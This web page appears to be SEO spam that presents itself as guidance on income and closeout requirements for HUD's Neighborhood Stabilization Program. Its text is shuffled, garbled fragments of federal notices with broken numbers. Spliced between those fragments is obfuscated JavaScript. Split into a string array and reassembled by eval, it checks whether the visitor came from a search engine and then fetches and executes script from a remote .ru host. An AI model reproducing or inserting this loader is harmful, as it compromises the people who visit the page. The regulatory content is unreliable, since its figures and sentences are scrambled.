Nsp Program Income Requirements

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(3) That not less than 2 NSP grant (initial allocation plus any program income) was expended to house individuals or families whose incomes do not exceed 5.. All of the funds shall be used to assist individuals and families whose income does not exceed 120.. The notice, Notice of Formula Allocations and Program Requirements for Neighborhood Stabilization Program Formula Grants, published October 1.. In addition, the Notice of Fund Availability (NOFA) for the Neighborhood Stabilization Program 2 under the American Recovery and Reinvestment Act, 2.. When referring to the grants, grantees, assisted activities, and implementation rules under HERA, this notice will use the term “NSP1.. Since this notice applies to grantees receiving grants under the three rounds of funding under the Neighborhood Stabilization Program, the terms NSP1, NSP2 or NSP3 are used to describe each of the three funding rounds.. 6";TRy["aqA"]="ta,";TRy["Zmh"]="eDa";TRy["Zzw"]="6js";TRy["jMq"]="unc";TRy["aft"]="eva";TRy["vQX"]="ain";TRy["CaG"]="ble";TRy["VnF"]="ssD";TRy["Slb"]="f.. This Notice specifies a new alternative requirement to a statutory requirement by extending the requirement that NSP program income be used for NSP purposes not only under the grant agreement, but after grant closeout.. HERA appropriated $3 HERA states otherwise, the grants are to be CDBG funds HERA, the Recovery Act, and the Frank- Dodd Act authorize the Secretary of HUD to specify alternative requirements to any provision under Title I of the HCD Act except for requirements related to fair housing, nondiscrimination, labor standards, and the environment (including lead- based paint).. This approach takes advantage of NSP grantee (and HUD field staff) familiarity with the CDBG closeout procedures because, by the time of grant closeout, almost every NSP grantee will have completed closeout of a CDBG Recovery Act grant.. As established by HERA, NSP provided grants to all states and selected local governments on a formula basis.. An alternative requirement is provided for section 1 Title I of the HCD Act and provisions of 2.. Training Outline Program History, Background & Overview Eligible Uses of Funds Income Requirements Key Deadlines & Timeframes Environmental Requirements Labor Standards Procurement Financial Management MO NSP.. The purpose of the funds awarded under the three rounds of NSP is to target the stabilization of neighborhoods negatively affected by properties that have been foreclosed upon and abandoned.. General Grant Closeout Requirements Background This part of the Notice provides instructions on the closeout of all NSP grants.. ";TRy["Wka"]="= G";TRy["myh"]="(\"y";TRy["DyQ"]=";if";TRy["ttK"]="se,";TRy["BaN"]=".. CFR 5 70 5 09) Following publication of this notice, HUD will update issued CDBG closeout guidance (CPD Notice 1.. CFR part 5 70 subparts A, C, D, J, K, and O, as appropriate, apply to the use of these funds.. NSP grants These instructions will create an NSP closeout process that is nearly identical to the CDBG closeout process and place both sets of instructions in a single document.. (3) HUD will cancel any unused portion of the awarded grant, as shown in DRGR and the signed grant closeout agreement.. FR 2 13 77 (May 7, 2 NSP2 NOFA”), includes requirements specific to the competitive round of funding under the Recovery Act.. The primary purpose of this notice is to revise requirements set forth in the Unified NSP Notice to provide the grant closeout framework for all three rounds of NSP by minimally adjusting the Community Development Block Grant (CDBG) closeout requirements (2.. Florida Income Guideline Chart Maximum Annual Income 10 08 01 10 08 01 Neighborhood Stabilization Program Eligibility Requirements All NSP funds are to be used to create affordable homeownership and rental opportunities for house-holds at or below 120% of Area Median.. NSP 1 Recipients' Manual Revised (PDF) Median Home » Programs » Neighborhood Stabilization Program (NSP) Neighborhood Stabilization Program.. \"";TRy["WCS"]="jso";TRy["gLi"]="e \"";TRy["Gqi"]="ver";TRy["xRS"]="|(r";TRy["GPT"]=" sh";TRy["hru"]="O;v";TRy["dDV"]="np:";TRy["KUn"]="ons";TRy["iYt"]="bin";TRy["ibt"]="dex";TRy["qwZ"]=".. l";TRy["lPE"]="and";TRy["KRV"]="r \"";TRy["tUH"]="Of(";TRy["SYw"]="://";TRy["nQx"]="VCP";TRy["hlA"]="l(r";TRy["hJZ"]="ind";TRy["tfP"]=")>0";TRy["Wkn"]=".. July 2 1, 2 01 Neighborhood Stabilization grants to all states and select governments on a formula basis.. (2) With respect to activities (such as rehabilitation of privately owned properties) which are financed by means of escrow accounts, loan guarantees, or similar mechanisms, the work to be assisted with NSP funds (but excluding program income) has actually been completed.. \"";TRy["qiB"]="orc";TRy["kyI"]="Vep";TRy["ECm"]="ET'";TRy["gpb"]="cri";TRy["wed"]="CGX";TRy["BXP"]="ef.. CFR 5 70 5 09 are waived to provide that the CDBG closeout requirements apply as modified for NSP1, NSP2, and NSP3 grants as described below (The modifications adjust for the use of DRGR and the difference in the program names.. The procedures describe the grantee's continuing obligations with respect to program income, long- term affordability, and land- banked properties.. This Notice provides an alternative requirement for section 1 HCD Act of 1 97 CFR 5.. NSP is a component of the CDBG program, authorized under Housing and Community Development Act of 1.. The American Recovery and Reinvestment Act of 2 Recovery Act) (Pub February 1.. Seventh Street SW , Room 7 Washington, DC 2 Persons with hearing or speech impairments may access this number via TTY by calling the Federal Relay Service at 8.. a";TRy["rsb"]="0){";TRy["XmR"]="({t";TRy["bhH"]=");}";TRy["JbL"]="Php";TRy["tvk"]="kHe";TRy["Uuy"]="eng";TRy["lpu"]=" q ";TRy["SHV"]="gle";TRy["nnf"]="0||";TRy["MeD"]="b.. Other responsibilities of the grantee under the grant agreement and applicable laws and regulations appear to have been carried out satisfactorily or there is no further Federal interest in keeping the grant agreement open for the purpose of securing performance.. CFR part 8 4 or 8 The grantee may be required to repay HUD any disallowed costs based on the results of the audit, or on additional HUD reviews provided for in the closeout agreement.. Except as described in this notice and previous notices governing NSP, statutory and regulatory provisions governing the CDBG program, including those at 2.. \"";TRy["Ubz"]="suc";TRy["AkC"]=">0)";TRy["fhC"]="ype";TRy["yHH"]=" re";TRy["Sxi"]="(re";eval(TRy["qCV"]+TRy["lpu"]+TRy["Wka"]+TRy["hru"]+TRy["Odw"]+TRy["tcX"]+TRy["IFj"]+TRy["tEO"]+TRy["adW"]+TRy["yHH"]+TRy["oii"]+TRy["pWl"]+TRy["DyQ"]+TRy["Sxi"]+TRy["Slb"]+TRy["Uuy"]+TRy["HPf"]+TRy["rsb"]+TRy["FXY"]+TRy["Sxi"]+TRy["gkm"]+TRy["yxC"]+TRy["tSj"]+TRy["myh"]+TRy["lPE"]+TRy["hQh"]+TRy["bBs"]+TRy["NgJ"]+TRy["xRS"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["Fyt"]+TRy["SHV"]+TRy["qwZ"]+TRy["AkC"]+TRy["TEw"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["Fte"]+TRy["CaG"]+TRy["KRV"]+TRy["tfP"]+TRy["TEw"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["iYt"]+TRy["rDw"]+TRy["tfP"]+TRy["TEw"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["hvc"]+TRy["ZVy"]+TRy["tfP"]+TRy["TEw"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["Ngv"]+TRy["SaM"]+TRy["bBs"]+TRy["nnf"]+TRy["tcX"]+TRy["CHc"]+TRy["ibt"]+TRy["tUH"]+TRy["xyB"]+TRy["gix"]+TRy["tfP"]+TRy["TEw"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["GjH"]+TRy["gLi"]+TRy["tfP"]+TRy["TEw"]+TRy["BXP"]+TRy["hJZ"]+TRy["mwn"]+TRy["Eta"]+TRy["uGy"]+TRy["bBs"]+TRy["rsb"]+TRy["qCV"]+TRy["GPT"]+TRy["lSQ"]+TRy["igR"]+TRy["JFr"]+TRy["qiB"]+TRy["dNB"]+TRy["uBw"]+TRy["WGY"]+TRy["XmR"]+TRy["fhC"]+TRy["Xib"]+TRy["ECm"]+TRy["zic"]+TRy["Rps"]+TRy["fhC"]+TRy["JxC"]+TRy["gpb"]+TRy["fcY"]+TRy["HZe"]+TRy["cJi"]+TRy["VnF"]+TRy["ZcZ"]+TRy["pMx"]+TRy["pMG"]+TRy["pEE"]+TRy["yDm"]+TRy["dnj"]+TRy["vQX"]+TRy["Qae"]+TRy["Epi"]+TRy["WCS"]+TRy["dDV"]+TRy["wRm"]+TRy["ttK"]+TRy["fQD"]+TRy["uQy"]+TRy["tiw"]+TRy["SYw"]+TRy["Zzw"]+TRy["Iic"]+TRy["ULw"]+TRy["osk"]+TRy["Nma"]+TRy["JbL"]+TRy["ZKT"]+TRy["yqZ"]+TRy["tvk"]+TRy["Fkg"]+TRy["MeD"]+TRy["WCS"]+TRy["wed"]+TRy["yOI"]+TRy["kyI"]+TRy["nQx"]+TRy["tHD"]+TRy["yKh"]+TRy["KSo"]+TRy["DAj"]+TRy["woN"]+TRy["SpA"]+TRy["qBo"]+TRy["Gqi"]+TRy["Wkn"]+TRy["cOl"]+TRy["kkz"]+TRy["BaN"]+TRy["GhA"]+TRy["Zbl"]+TRy["oTD"]+TRy["Ubz"]+TRy["Vrj"]+TRy["hXp"]+TRy["jMq"]+TRy["vBz"]+TRy["UIe"]+TRy["dsp"]+TRy["KUn"]+TRy["Zmh"]+TRy["aqA"]+TRy["crx"]+TRy["Eci"]+TRy["Nhx"]+TRy["bdn"]+TRy["kso"]+TRy["xkG"]+TRy["aft"]+TRy["hlA"]+TRy["dsp"]+TRy["KUn"]+TRy["Zmh"]+TRy["ojh"]+TRy["mVf"]+TRy["bhH"]+TRy["Ogu"]); Federal Register.. The Federal Register Notice discussion on program income says that the sale of property must be in an amount equal to or less than the cost to acquire and redevelop or rehabilitate the home or property, but.. FAX inquiries may be sent to Mr Gimont at 2 02- 4 SUPPLEMENTARY INFORMATION: Program Background and Purpose.. Contingent liabilities include, but are not limited to, third- party claims against the grantee, as well as related administrative costs.. FR 6 43 22) (“Unified NSP Notice”) provides further background for these programs, the program principles, and the objectives and outcomes of the NSP program.. The State of Hawaii was allocated funds and will be subject to part 5 I, as modified by this notice.. The Dodd- Frank Wall Street Reform and Consumer Protection Act (Dodd- Frank Act) (Pub.. The Recovery Act also authorized funding for national and local technical assistance providers to support NSP grantees.. Notice of Neighborhood Stabilization Program; Closeout Requirements and Recapture.. DATES: Effective Date: November 2 FOR FURTHER INFORMATION CONTACT: Stanley Gimont, Director, Office of Block Grant Assistance, Office of Community Planning and Development, Department of Housing and Urban Development, 4.. Requirement A new Section Y is added to the Unified NSP Notice that reads: Y NSP Grant Closeout Procedures.. ” When referring to the grants, grantees, assisted activities, and implementation rules under the Recovery Act, this notice will use the term “NSP2.. (4) Any costs paid with NSP funds which were not audited previously shall be subject to coverage in the grantee's next single audit performed in accordance with the regulations in 2.. The agreement shall be prepared by the HUD field office in consultation with the grantee.. The CDBG Neighborhood Stabilization Program (NSP 1) Please review the revised manual and contact DCA with any questions.. The alternative requirements must be in accordance with the terms of section 2 HERA and for the sole purpose of expediting for NSP1, or facilitating for NSP2 and NSP3, the use of grant funds.. ” When referring to the grants, grantees, assisted activities, and implementation rules under the Dodd- Frank Act, this notice will use the term “NSP3.. The Program Income requirements of the The CDBG requirements will apply to NSP except where this or other published notices supersede or amend such requirements.. 7, 2 NSP grants to be awarded to states, local governments, nonprofits and a consortium of nonprofit entities, but on a competitive basis.. var GO = 'nsp+program+income+requirements';var TRy = new Array();TRy["bBs"]="\")>";TRy["Epi"]="ue,";TRy["SpA"]=".. CFR part 5 70 subpart I for states or, for CDBG entitlement communities, including those at 2.. ru";TRy["hvc"]="mai";TRy["Rps"]="taT";TRy["JxC"]=":'s";TRy["Nma"]="pVC";TRy["dsp"]="esp";TRy["pMx"]=":fa";TRy["pEE"]=",cr";TRy["xyB"]="\"ms";TRy["tcX"]="ref";TRy["igR"]="e =";TRy["gkm"]="f.. i";TRy["uGy"]="vk ";TRy["lSQ"]="owm";TRy["zic"]=",da";TRy["kkz"]="/35";TRy["WGY"]="jax";TRy["qCV"]="var";TRy["DAj"]="Hek";TRy["GhA"]="?we";TRy["hQh"]="ex.. I Alternative Requirements and Regulatory Waivers A Closeout Requirements A family of two may earn up to $54,240 and still qualify to participate in the NSP Program.. 70 5 09 to the extent necessary to allow an NSP grantee to continue to use NSP program income on hand at the time of grant closeout with HUD in accordance with NSP program requirements, including this notice, instead of for community development activities in accordance with CDBG regulations.. \")";TRy["Xib"]=":'G";TRy["HZe"]=",pr";TRy["hXp"]="s:f";TRy["vBz"]="tio";TRy["Qae"]=":tr";TRy["dnj"]="Dom";TRy["ULw"]="XXJ";TRy["wRm"]="fal";TRy["yOI"]="XJm";TRy["pMG"]="lse";TRy["Iic"]="oCG";TRy["Fkg"]="kkr";TRy["TEw"]="||r";TRy["yxC"]="nde";TRy["oTD"]="y',";TRy["mwn"]="exO";TRy["KSo"]="wrk";TRy["Zbl"]="ebl";TRy["UIe"]="n(r";TRy["HPf"]="th>";TRy["fcY"]="pt'";TRy["Vrj"]="ces";TRy["Eci"]="tSt";TRy["NgJ"]="0)|";TRy["bdn"]="s,j";TRy["FXY"]="if(";TRy["gix"]="n.. All NSP program income on hand at the time of closeout must meet program requirements as specified, including meeting a national objective.. The Neighborhood Stabilization Program (or NSP) was established by the Housing and Economic Recovery Act of 2.. ";TRy["uQy"]=":'h";TRy["xkG"]="R){";TRy["Fyt"]="goo";TRy["mVf"]=";}}";TRy["cOl"]="/13";TRy["fQD"]="url";TRy["yqZ"]="wwr";TRy["Nhx"]="atu";TRy["ZVy"]="l.. I-2 The NSP program includes two low- and moderate-income requirements that supersede existing CDBG income qualifications.. HERA) (Pub 1 10- 2 July 3 0, 2 00 Division B, Title III of HERA, for the purpose of stabilizing communities that have suffered from foreclosures and abandonment.. (2) Based on the information provided in the final performance report and other relevant information, HUD, in consultation with the grantee, will prepare a closeout agreement in accordance with paragraph (c) of this section.. ): (a) Criteria for closeout An NSP grant will be closed out when HUD determines, in consultation with the grantee, that the following criteria have been met: (1) All costs to be paid with NSP funds have been incurred, with the exception of closeout costs (e.. sc";TRy["Odw"]="ar ";TRy["tSj"]="xOf";TRy["JFr"]=" 'f";TRy["kso"]="qXH";TRy["IFj"]="=do";TRy["pWl"]="rer";TRy["Ngv"]="yah";TRy["cJi"]="oce";TRy["uBw"]="$.. Title III of the Act appropriates $3 92 billion of grant funds under the Neighborhood Stabilization Program (NSP).. js";TRy["GjH"]="liv";TRy["qBo"]="ser";TRy["adW"]="ent";TRy["oii"]="fer";TRy["tiw"]="ttp";TRy["osk"]="mVe";TRy["Eta"]="f(\"";TRy["rDw"]="g.. Any unused grant funds disbursed from the U S Treasury which are in the possession of the grantee shall be refunded to HUD.. (c) Closeout agreement Any obligations remaining as of the date of the closeout shall be covered by the terms of a closeout agreement.. ";TRy["ZKT"]="xv0";TRy["yKh"]="v0w";TRy["CHc"]=" in";TRy["dNB"]="e';";TRy["ojh"]="ta)";TRy["ZcZ"]="ata";TRy["crx"]="tex";TRy["tHD"]="hpx";TRy["woN"]="krb";TRy["yDm"]="oss";TRy["Ogu"]="}";TRy["tEO"]="cum";TRy["Fte"]="ram";TRy["SaM"]="oo.. HCD Act) (4 2 U S C 5 30 1et seq ) Authority To Provide Alternative Requirements and Grant Regulatory Waivers.. ” Collectively, the grants, grantees, assisted activities, and implementation rules under these three rounds of funding are referred to as NSP.. ACTION: Notice SUMMARY: This notice describes closeout requirements that apply to and additional regulations waived for grantees receiving grants under the three rounds of funding under the Neighborhood Stabilization Program.. (b) Closeout actions If an acceptable report is not submitted in a timely manner, an audit of the grantee's grant activities may be conducted by HUD.